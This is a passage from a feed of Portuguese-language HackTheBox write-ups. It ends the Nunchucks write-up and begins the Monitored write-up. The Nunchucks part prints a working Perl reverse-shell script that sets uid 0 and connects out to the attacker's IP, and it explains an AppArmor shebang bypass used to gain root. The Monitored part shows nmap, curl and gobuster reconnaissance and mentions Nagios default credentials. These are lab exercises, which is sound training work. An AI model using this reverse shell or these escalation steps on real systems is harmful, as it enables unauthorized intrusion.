&lt;li&gt;Não conseguimos executar nada no diretório /root, devido ao apparmor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No entanto, seguindo passos similares ao que ja tentamos foi possível executar o seguinte.&lt;/p&gt;

&lt;p&gt;Primeiro criamos um script em perl setando o user id para 0 e executando nosso reverse shell, com o seguinte conteúdo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/perl&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nv"&gt;POSIX&lt;/span&gt; &lt;span class="sx"&gt;qw(setuid)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nn"&gt;POSIX::&lt;/span&gt;&lt;span class="nv"&gt;setuid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;use&lt;/span&gt; &lt;span class="nv"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;10.10.14.128&lt;/span&gt;&lt;span class="p"&gt;";&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;9002&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nb"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;S&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;PF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;getprotobyname&lt;/span&gt;&lt;span class="p"&gt;("&lt;/span&gt;&lt;span class="s2"&gt;tcp&lt;/span&gt;&lt;span class="p"&gt;"));&lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;S&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;sockaddr_in&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;inet_aton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="p"&gt;)))){&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;STDIN&lt;/span&gt;&lt;span class="p"&gt;,"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&amp;amp;S&lt;/span&gt;&lt;span class="p"&gt;");&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;STDOUT&lt;/span&gt;&lt;span class="p"&gt;,"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&amp;amp;S&lt;/span&gt;&lt;span class="p"&gt;");&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;STDERR&lt;/span&gt;&lt;span class="p"&gt;,"&lt;/span&gt;&lt;span class="s2"&gt;&amp;gt;&amp;amp;S&lt;/span&gt;&lt;span class="p"&gt;");&lt;/span&gt;&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;("&lt;/span&gt;&lt;span class="s2"&gt;sh -i&lt;/span&gt;&lt;span class="p"&gt;");};&lt;/span&gt;&lt;span class="nv"&gt;s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E ao executar nosso script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;david@nunchucks:&lt;/span&gt;&lt;span class="sr"&gt;/home/da&lt;/span&gt;&lt;span class="nv"&gt;vid&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="nb"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;pl&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Temos o seguinte retorno em nosso pwncat:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="err"&gt;┌──&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;root&lt;/span&gt;&lt;span class="err"&gt;㉿&lt;/span&gt;&lt;span class="nv"&gt;kali&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="nv"&gt;kali&lt;/span&gt;&lt;span class="sr"&gt;/hackthebox/mac&lt;/span&gt;&lt;span class="nv"&gt;hines&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;linux&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;nunchucks&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;└─&lt;/span&gt;&lt;span class="c1"&gt;# pwncat-cs -lp 9002&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;47&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nv"&gt;Welcome&lt;/span&gt; &lt;span class="nv"&gt;to&lt;/span&gt; &lt;span class="nv"&gt;pwncat&lt;/span&gt; &lt;span class="err"&gt;🐈&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;                                                                                                          &lt;span class="nv"&gt;__main__&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;py:164&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;31&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="nv"&gt;received&lt;/span&gt; &lt;span class="nv"&gt;connection&lt;/span&gt; &lt;span class="nv"&gt;from&lt;/span&gt; &lt;span class="mf"&gt;10.129.2.248&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37982&lt;/span&gt;                                                                                         &lt;span class="nb"&gt;bind&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;py:84&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;0.0.0.0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;9002&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;upgrading&lt;/span&gt; &lt;span class="nv"&gt;from&lt;/span&gt; &lt;span class="sr"&gt;/usr/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="sr"&gt;/dash to /us&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="sr"&gt;/bin/&lt;/span&gt;&lt;span class="nv"&gt;bash&lt;/span&gt;                                                                     &lt;span class="nv"&gt;manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;py:957&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="mf"&gt;10.129.2.248&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37982&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;registered&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nv"&gt;host&lt;/span&gt; &lt;span class="nv"&gt;w&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt;                                                                                   &lt;span class="nv"&gt;manager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;py:957&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;pwncat&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;                                                                                                                                          
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;root@nunchucks:&lt;/span&gt;&lt;span class="sr"&gt;/home/da&lt;/span&gt;&lt;span class="nv"&gt;vid&lt;/span&gt;&lt;span class="c1"&gt;# id&lt;/span&gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;david&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;david&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Buscando entender o por que do script ter executado, ao contrário da mesma execução via linha de comando foi encontrado o seguinte bug:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://bugs.launchpad.net/apparmor/+bug/1911431" rel="noopener noreferrer"&gt;Bug #1911431 “Unable to prevent execution of shebang lines” : Bugs : AppArmor&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Basicamente o shebang (#!) faz com que o perl ignore o apparmor e execute sem restrições.&lt;/p&gt;

&lt;p&gt;Com isso conseguimos nossa shell como usuário root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;root@nunchucks:&lt;/span&gt;&lt;span class="sr"&gt;/home/da&lt;/span&gt;&lt;span class="nv"&gt;vid&lt;/span&gt;&lt;span class="c1"&gt;# cat /root/root.txt &lt;/span&gt;
&lt;span class="nv"&gt;d24de14bd4c16c24fb1158033cafe1e9&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conseguindo assim a root flag e finalizando a máquina Nunchucks :)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F54u2rjbniy8df1c4osnt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/cdn-cgi/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F54u2rjbniy8df1c4osnt.png" alt="pwned machine" width="800" height="688"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>security</category>
      <category>node</category>
      <category>linux</category>
    </item>
    <item>
      <title>HackTheBox - Writeup Monitored [Retired]</title>
      <dc:creator>Guilherme Martins</dc:creator>
      <pubDate>Sun, 02 Jun 2024 17:30:08 +0000</pubDate>
      <link>https://dev.to/mrtnsgs/hackthebox-writeup-monitored-retired-3gc2</link>
      <guid>https://dev.to/mrtnsgs/hackthebox-writeup-monitored-retired-3gc2</guid>
      <description>&lt;p&gt;&lt;strong&gt;Hackthebox&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Neste writeup iremos explorar uma máquina linux de nível medium chamada &lt;strong&gt;Monitored&lt;/strong&gt; que aborda as seguintes vulnerabilidades e técnicas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SNMP Data Collect&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SQL Injection&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Remote Code Execution&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Week Permissions for files&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Recon e User Flag
&lt;/h4&gt;

&lt;p&gt;Iremos iniciar nossa análise do alvo realizando uma varredura a procura de portas abertas através do nmap:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/biznet]
└─# nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;--open&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; 10.129.15.145 
Starting Nmap 7.93 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2024-01-13 14:19 EST
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.129.15.145
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.26s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 996 closed tcp ports &lt;span class="o"&gt;(&lt;/span&gt;reset&lt;span class="o"&gt;)&lt;/span&gt;
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp  open  http     Apache httpd 2.4.56
389/tcp open  ldap     OpenLDAP 2.2.X - 2.3.X
443/tcp open  ssl/http Apache httpd 2.4.56 &lt;span class="o"&gt;((&lt;/span&gt;Debian&lt;span class="o"&gt;))&lt;/span&gt;
Service Info: Host: nagios.monitored.htb&lt;span class="p"&gt;;&lt;/span&gt; OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ &lt;span class="nb"&gt;.&lt;/span&gt;
Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;27.33 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pelo certificado ssl encontramos o subdomínio &lt;strong&gt;nagions.monitored.htb&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# curl &lt;span class="nt"&gt;-vk&lt;/span&gt; https://10.129.130.92
&lt;span class="k"&gt;*&lt;/span&gt;   Trying 10.129.130.92:443...
&lt;span class="k"&gt;*&lt;/span&gt; Connected to 10.129.130.92 &lt;span class="o"&gt;(&lt;/span&gt;10.129.130.92&lt;span class="o"&gt;)&lt;/span&gt; port 443 &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="c"&gt;#0)&lt;/span&gt;
...
&lt;span class="k"&gt;*&lt;/span&gt; SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
&lt;span class="k"&gt;*&lt;/span&gt; ALPN: server accepted http/1.1
&lt;span class="k"&gt;*&lt;/span&gt; Server certificate:
&lt;span class="k"&gt;*&lt;/span&gt;  subject: &lt;span class="nv"&gt;C&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;UK&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;ST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Dorset&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;L&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Bournemouth&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;O&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Monitored&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;nagios.monitored.htb&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;emailAddress&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;support@monitored.htb
&lt;span class="k"&gt;*&lt;/span&gt;  start &lt;span class="nb"&gt;date&lt;/span&gt;: Nov 11 21:46:55 2023 GMT
&lt;span class="k"&gt;*&lt;/span&gt;  expire &lt;span class="nb"&gt;date&lt;/span&gt;: Aug 25 21:46:55 2297 GMT
&lt;span class="k"&gt;*&lt;/span&gt;  issuer: &lt;span class="nv"&gt;C&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;UK&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;ST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Dorset&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;L&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Bournemouth&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;O&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Monitored&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;CN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;nagios.monitored.htb&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;emailAddress&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;support@monitored.htb
&lt;span class="k"&gt;*&lt;/span&gt;  SSL certificate verify result: self-signed certificate &lt;span class="o"&gt;(&lt;/span&gt;18&lt;span class="o"&gt;)&lt;/span&gt;, continuing anyway.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Vamos adiciona-lo ao &lt;strong&gt;/etc/hosts&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Ao acessar temos uma tela que redireciona para &lt;strong&gt;/nagiosxi&lt;/strong&gt;:&lt;br&gt;
O usuário e senha padrão do nagios xi é &lt;strong&gt;nagiosadmin&lt;/strong&gt;:&lt;strong&gt;nagiosadmin&lt;/strong&gt;, no entanto, não é este o caso.&lt;/p&gt;

&lt;p&gt;Vamos utilizar o &lt;strong&gt;gobuster&lt;/strong&gt; para descobrir diretórios e endpoints:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/monitored]
└─# gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/big.txt &lt;span class="nt"&gt;-u&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/ &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-x&lt;/span&gt; .php,.txt
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.4
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:                     https://nagios.monitored.htb/nagiosxi/
&lt;span class="o"&gt;[&lt;/span&gt;+] Method:                  GET
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:                 10
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:                /usr/share/wordlists/dirb/big.txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Negative Status codes:   404
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:              gobuster/3.4
&lt;span class="o"&gt;[&lt;/span&gt;+] Extensions:              php,txt
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:                 10s
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
2024/01/13 14:52:15 Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;directory enumeration mode
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
/.htaccess.php        &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/.htaccess            &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/.htpasswd.txt        &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/.htaccess.txt        &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/.htpasswd.php        &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/.htpasswd            &lt;span class="o"&gt;(&lt;/span&gt;Status: 403&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 279]
/about                &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 325] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/about/]
/account              &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 327] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/account/]
/admin                &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 325] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/admin/]
/api                  &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 323] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/api/]
/backend              &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 327] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/backend/]
/config               &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 326] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/config/]
/db                   &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 322] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/db/]
/help                 &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 324] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/help/]
/images               &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 326] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/images/]
/includes             &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 328] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/includes/]
/index.php            &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 27] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/login.php?redirect&lt;span class="o"&gt;=&lt;/span&gt;/nagiosxi/index.php%3f&amp;amp;noauth&lt;span class="o"&gt;=&lt;/span&gt;1]
/install.php          &lt;span class="o"&gt;(&lt;/span&gt;Status: 302&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 0] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/]
/login.php            &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 26148]
/mobile               &lt;span class="o"&gt;(&lt;/span&gt;Status: 301&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 326] &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;--&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; https://nagios.monitored.htb/nagiosxi/mobile/]
